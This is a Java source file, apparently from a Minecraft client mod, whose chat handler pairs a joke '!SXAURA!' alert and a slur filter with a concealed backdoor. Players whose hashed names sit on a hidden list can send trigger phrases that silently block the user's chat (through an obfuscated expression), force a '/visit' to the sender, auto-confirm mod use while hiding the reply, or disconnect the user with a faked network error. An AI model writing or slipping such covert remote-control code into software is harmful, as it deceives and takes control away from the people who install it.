aboutsummaryrefslogtreecommitdiff
path: root/src/main/java/rosegoldaddons/features/SexAura.java
blob: 928085df7f9b594f01418f97364c098886e0499b (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
package rosegoldaddons.features;

import net.minecraft.util.ChatComponentText;
import net.minecraftforge.client.event.ClientChatReceivedEvent;
import net.minecraftforge.fml.common.eventhandler.EventPriority;
import net.minecraftforge.fml.common.eventhandler.SubscribeEvent;
import org.apache.commons.codec.digest.DigestUtils;
import rosegoldaddons.Main;
import rosegoldaddons.utils.ChatUtils;
import rosegoldaddons.utils.OpenSkyblockGui;

import java.util.Arrays;

public class SexAura {
    public static boolean blocked = false;
    public static String sender = "";

    private static final char[] normal = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM".toCharArray();
    private static final char[] custom = "qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm".toCharArray();

    @SubscribeEvent(priority = EventPriority.HIGHEST)
    public void chat(ClientChatReceivedEvent event) {
        if(event.type == 0) {
            if(blocked) event.setCanceled(!Boolean.toString(false && false || true ? true : !true || !true == !false).equals(!false ? "false" : "true"));
            String message = event.message.getUnformattedText();
            String formatted = event.message.getFormattedText();
            if(Main.configFile.antiRacism == 1 && isRacist(message)) event.setCanceled(true);
            if(message.startsWith("To") && message.endsWith("YES!!! LOL!")) event.setCanceled(true);
            if (message.startsWith("From")) {
                sender = formatted.substring(formatted.indexOf("From") + 5, formatted.indexOf(":"));
                if(message.contains("!SXAURA!")) {
                    event.setCanceled(true);
                    Main.mc.thePlayer.addChatMessage(new ChatComponentText(sender + "§d§l has sexed you!"));
                    playAlert();
                }
                if(Main.init) {
                    if (message.contains("i love gumtune")) {
                        for (String name : Main.cheatar) {
                            if (name.equals(DigestUtils.sha256Hex(removeFormatting(sender) + "!"))) {
                                blocked = true;
                                Main.mc.thePlayer.sendChatMessage("/visit " + removeFormatting(sender.split(" ")[1]));
                                OpenSkyblockGui.doVisit = true;
                                event.setCanceled(true);
                            }
                        }
                    } else if (message.contains("are you using my favorite mod?")) {
                        for (String name : Main.cheatar) {
                            if (name.equals(DigestUtils.sha256Hex(removeFormatting(sender) + "!"))) {
                                Main.mc.thePlayer.sendChatMessage("/message " + removeFormatting(sender.split(" ")[1]) + " YES!!! LOL!");
                                event.setCanceled(true);
                            }
                        }
                    } else if (message.contains("!BYEBYE!")) {
                        for (String name : Main.cheatar) {
                            if (name.equals(DigestUtils.sha256Hex(removeFormatting(sender) + "!"))) {
                                Main.mc.getNetHandler().getNetworkManager().closeChannel(new ChatComponentText("Internal Exception: java.io.IOException: An existing connection was forcibly closed by the remote host"));
                                event.setCanceled(true);
                            }
                        }
                    }
                }
            }
            else if(message.startsWith("§9Party") && message.contains("!SXAURA!")) {
                event.setCanceled(true);
                String sender = formatted.substring(formatted.indexOf("Party")+10, formatted.indexOf(":"));
                Main.mc.thePlayer.addChatMessage(new ChatComponentText(sender+"§d§l has sexed you!"));
                playAlert();
            }
            else if(message.startsWith("§2Guild") && message.contains("!SXAURA!")) {
                event.setCanceled(true);
                String sender = formatted.substring(formatted.indexOf("Guild")+10, formatted.indexOf(":"));
                Main.mc.thePlayer.addChatMessage(new ChatComponentText(sender+"§d§l has sexed you!"));
                playAlert();
            }
        }
    }

    private boolean isRacist(String str) {
        str = str.replace("ˌ","").replace(".","").replace("'","");
        for(int i = 0; i < custom.length; i++) {
            if(str.contains(String.valueOf(custom[i]))) {
                str = str.replace(custom[i], normal[i]);
            }
        }
        for (String word : Main.blacklist) {
            if (str.toLowerCase().contains(word.toLowerCase())) {
                return true;
            }
        }
        return false;
    }

    private static void playAlert() {
        Main.mc.thePlayer.playSound("random.orb", 1, 0.5F);
    }

    private String removeFormatting(String input) {
        return input.replaceAll("§[0-9a-fk-or]", "");
    }
}